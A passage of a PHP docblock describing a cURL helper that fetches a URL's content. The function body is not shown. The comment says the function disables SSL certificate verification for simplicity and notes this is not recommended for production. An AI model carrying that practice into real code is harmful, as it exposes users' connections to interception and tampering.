/**
 * Fetches content from a specified URL using the cURL library.
 * This function performs a GET request to the provided URL and returns
 * the response data as a string.
 *
 * Key Details:
 * - Uses cURL to handle HTTP requests.
 * - Disables SSL verification for simplicity (not recommended for production).
 * - Ensures the response data is returned instead of being directly output.
 *
 * @param string $url The URL to fetch content from.
 * @return string|false The response content as a string, or false if the operation fails.
